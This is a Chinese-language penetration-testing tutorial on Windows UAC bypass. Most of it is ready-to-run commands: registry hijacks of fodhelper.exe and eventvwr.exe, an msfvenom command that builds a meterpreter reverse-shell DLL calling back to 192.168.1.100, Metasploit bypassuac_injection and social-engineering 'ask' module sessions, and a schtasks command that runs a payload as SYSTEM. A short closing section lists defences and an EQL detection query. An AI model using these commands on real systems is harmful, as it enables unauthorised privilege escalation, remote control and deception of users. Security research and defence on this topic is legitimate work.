引言
用戶賬戶控制(User Account Control, 簡稱 UAC)是微軟自 Windows Vista 起引入的一項安全功能,旨在通過要求用戶在執行需要管理員權限的操作時進行確認,從而防止未經授權的系統更改。UAC 的設計初衷是提高系統安全性,防止惡意軟件在未經用戶許可的情況下篡改系統配置、安裝軟件或執行高權限操作。然而,對于安全研究人員、滲透測試人員來說,UAC 的存在可能成為權限提升過程中的一道障礙。因此,繞過 UAC(UAC Bypass)成為 Windows 權限提升領域的一個重要研究方向。
本文將詳細探討 Windows UAC 的工作原理、不同權限級別下管理員賬戶的行為,以及多種 UAC 繞過技術的實現方法和適用場景。
一、UAC 的工作原理與權限級別
1.1 UAC 的核心機制
UAC 的核心是通過強制執行權限分離和用戶交互來限制未經授權的操作。當用戶嘗試執行需要管理員權限的操作(如修改系統文件、安裝軟件或運行特定管理工具)時,UAC 會觸發以下行為:
- 權限驗證:UAC 檢查當前用戶的權限級別。如果用戶是普通用戶,會要求輸入管理員憑據;如果是 Administrators 組成員,則會彈出確認提示。
- 完整性級別(Integrity Level):Windows 使用完整性級別(Low、Medium、High)來區分進程的權限。普通進程默認運行在 Medium 完整性級別,而需要管理員權限的進程則運行在 High 完整性級別。UAC 確保只有通過驗證的進程才能提升至 High 完整性級別。
- 自動提升(Auto-Elevation):某些微軟簽名的可執行文件(如
fodhelper.exe
、eventvwr.exe
)被標記為“自動提升”,可以在特定條件下無需 UAC 提示直接運行在 High 完整性級別。這些特性常被 UAC 繞過技術利用。
1.2 UAC 的設置級別
UAC 的行為受系統設置影響,Windows 提供了四種 UAC 級別:
- 始終通知(Always Notify):最高級別,任何需要管理員權限的操作都會觸發 UAC 提示,即使是 Administrators 組用戶也需要確認。
- 僅在程序嘗試更改計算機時通知(默認設置):僅在非微軟簽名的程序嘗試執行高權限操作時提示,適用于大多數 Administrators 組用戶。
- 僅在程序嘗試更改計算機時通知(不調暗桌面):與默認設置類似,但不切換到安全桌面,安全性稍低。
- 從不通知(Never Notify):關閉 UAC,Administrators 組用戶無需確認即可運行高權限操作,但仍需手動觸發“以管理員身份運行”。
1.3 500 管理員賬戶與 Administrators 組用戶
在 Windows 系統中,管理員賬戶分為兩類:
-
500 管理員賬戶(內置 Administrator):這是 Windows 系統默認的內置管理員賬戶(SID 以
S-1-5-21-*-500
結尾)。當 UAC 啟用時,該賬戶在“從不通知”模式下可以直接以 High 完整性級別運行進程,無需 UAC 提示。通過工具如psexec.exe
,500 管理員賬戶可以直接提升至 SYSTEM 權限。例如:psexec.exe -i -accepteula -s cmd.exe
上述命令使用
psexec.exe
啟動一個 SYSTEM 權限的命令提示符。 -
Administrators 組用戶:這些用戶是 Administrators 組的成員,但受 UAC 管控。在默認或更高 UAC 設置下,運行高權限操作時會觸發 UAC 提示。繞過 UAC 是此類用戶提權的關鍵。
二、UAC 繞過技術的分類與實現
UAC 繞過技術通常利用 Windows 系統中的漏洞、可信執行路徑或社會工程學手段來實現權限提升。以下是常見的 UAC 繞過方法,結合具體實現和適用場景進行分析。
2.1 自動提升可執行文件(Auto-Elevated Binaries)
許多 Windows 自帶的可執行文件被標記為“自動提升”,可以在特定條件下無需 UAC 提示直接運行在 High 完整性級別。攻擊者通過修改這些文件的執行路徑或注冊表配置,誘導系統執行惡意代碼。常見的目標包括 fodhelper.exe
、eventvwr.exe
和 sdclt.exe
。
2.1.1 Fodhelper 繞過
fodhelper.exe
是一個用于管理 Windows 可選功能的工具,具備自動提升特性。攻擊者可以通過修改注冊表,劫持其執行路徑以運行自定義命令。以下是一個典型的手動實現步驟:
-
檢查權限:
whoami /all
確認當前用戶在 Administrators 組且處于 Medium 完整性級別。
-
修改注冊表:
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd.exe /c start powershell.exe" Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value ""
-
觸發執行:
Start-Process fodhelper.exe
此方法通過注冊表劫持 ms-settings
的默認打開命令,使得 fodhelper.exe
執行時啟動 cmd.exe
或其他惡意 payload,從而獲得 High 完整性級別的進程。
2.1.2 Eventvwr 繞過
eventvwr.exe
(事件查看器)是另一個自動提升的可執行文件,可通過修改注冊表中的 mscfile
鍵來執行惡意命令。實現步驟如下:
-
確認自動提升特性:
strings64.exe -accepteula C:\Windows\System32\eventvwr.exe | findstr /i autoelevate
驗證
eventvwr.exe
是否支持自動提升(結果應包含true
)。 -
修改注冊表:
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /t REG_SZ /d "cmd.exe /c start C:\Path\To\payload.exe" /f
-
執行觸發:
eventvwr.exe
完成后,eventvwr.exe
會啟動指定的 payload.exe
,獲得高權限 shell。
2.2 DLL 劫持(DLL Hijacking)
DLL 劫持利用 Windows 的 DLL 加載順序,誘導自動提升的程序加載惡意 DLL 文件,從而執行高權限代碼。以下是一個典型案例:
-
尋找目標程序:
找到一個自動提升的程序(如fodhelper.exe
)并檢查其依賴的 DLL 文件。例如,使用Process Monitor
觀察程序加載的 DLL。 -
創建惡意 DLL:
使用工具如 MSFvenom 生成惡意 DLL:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
-
放置惡意 DLL:
將malicious.dll
放置在目標程序的搜索路徑中(例如C:\Windows\System32
的可寫子目錄)。 -
觸發執行:
運行目標程序,加載惡意 DLL,從而獲得高權限 shell。
DLL 劫持的優點是隱蔽性強,但需要目標程序存在 DLL 加載漏洞,且在高 UAC 級別(如“始終通知”)下可能失效。
2.3 環境變量操縱
通過修改環境變量(如 PATH
或 windir
),攻擊者可以重定向可信程序的執行路徑。例如,修改 windir
環境變量以指向偽造的系統目錄:
-
修改環境變量:
set windir=C:\Malicious
-
放置惡意文件:
在C:\Malicious\System32
中放置偽造的cmd.exe
或其他可執行文件。 -
觸發可信程序:
運行一個依賴windir
的自動提升程序(如CDSSync
任務),誘導其加載惡意文件。
此方法在非“始終通知”級別下有效,但在高安全設置下可能被檢測。
2.4 Metasploit 的 UAC 繞過模塊
Metasploit 提供了多個 UAC 繞過模塊,簡化了提權過程。以下是兩個常用模塊的介紹:
2.4.1 exploit/windows/local/bypassuac_injection
此模塊利用可信發布者證書通過進程注入繞過 UAC,生成一個無 UAC 提示的高權限 shell。使用步驟:
-
啟動 Meterpreter 會話:
msfconsole use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit
-
使用 bypassuac_injection 模塊:
use exploit/windows/local/bypassuac_injection set SESSION 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4445 exploit
-
結果:
模塊會注入惡意代碼到自動提升的進程中,生成一個高權限的 Meterpreter 會話。
2.4.2 exploit/windows/local/ask
在“始終通知”級別下,UAC 繞過變得困難,ask
模塊通過社會工程學誘導用戶點擊 UAC 提示來提權。使用步驟:
-
啟動 Meterpreter 會話(同上)。
-
使用 ask 模塊:
use exploit/windows/local/ask set SESSION 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4446 exploit
-
誘導用戶交互:
模塊會觸發 UAC 提示,偽裝為合法操作(如系統更新),誘導目標點擊“確認”。
此方法依賴用戶交互,適用于社會工程學場景,但成功率受目標警惕性影響。
三、不同 UAC 設置下的適用策略
3.1 非“始終通知”級別
在默認或較低 UAC 設置下,Administrators 組用戶可以通過以下方法繞過 UAC:
- 自動提升可執行文件:如
fodhelper.exe
、eventvwr.exe
等,利用注冊表劫持快速提權。 - DLL 劫持:利用 DLL 加載順序漏洞,隱蔽性較高。
- Metasploit 模塊:
bypassuac_injection
等模塊提供自動化提權方案。 - 環境變量操縱:通過修改
windir
或PATH
實現路徑重定向。
3.2 “始終通知”級別
在最高 UAC 級別下,繞過 UAC 通常需要用戶交互,推薦策略包括:
- Metasploit
ask
模塊:通過偽裝合法提示誘導用戶確認。 - 社會工程學:利用偽裝的更新提示或釣魚郵件誘導用戶點擊 UAC 提示。
- 計劃任務:創建高權限計劃任務,繞過 UAC 提示:
schtasks /create /tn "MaliciousTask" /tr "C:\Path\To\payload.exe" /sc once /st 00:00 /ru SYSTEM schtasks /run /tn "MaliciousTask"
四、防御與檢測 UAC 繞過
4.1 防御措施
- 啟用“始終通知”級別:確保所有高權限操作都需要用戶確認。
- 限制 Administrators 組成員:減少非必要管理員賬戶,降低提權風險。
- 監控注冊表更改:關注
HKCU\Software\Classes
和環境變量相關鍵的修改。 - 使用安全軟件:部署 EDR(如 Elastic Endpoint)檢測 DLL 劫持和異常進程行為。
4.2 檢測方法
-
EQL 查詢:
使用 Elastic Query Language(EQL)檢測 DLL 劫持:sequence by host.id [file where event.action in ("creation", "overwrite", "rename", "modification") and process.name : "dllhost.exe"] [library where user.id : "S-1-5-18" and not (dll.code_signature.subject_name : "Microsoft *")]
-
監控自動提升進程:
檢查fodhelper.exe
、eventvwr.exe
等進程的異常子進程創建。 -
日志分析:
分析事件日志中的 UAC 相關條目,檢測異常的權限提升行為。
五、總結
Windows UAC 繞過技術是權限提升領域的重要研究方向,對于安全研究和滲透測試具有重要意義。500 管理員賬戶在“從不通知”模式下可以直接提權至 SYSTEM,而 Administrators 組用戶則需根據 UAC 設置選擇合適的繞過方法。在非“始終通知”級別下,自動提升可執行文件、DLL 劫持和環境變量操縱是主流技術;在最高 UAC 級別下,社會工程學和 ask
模塊成為主要手段。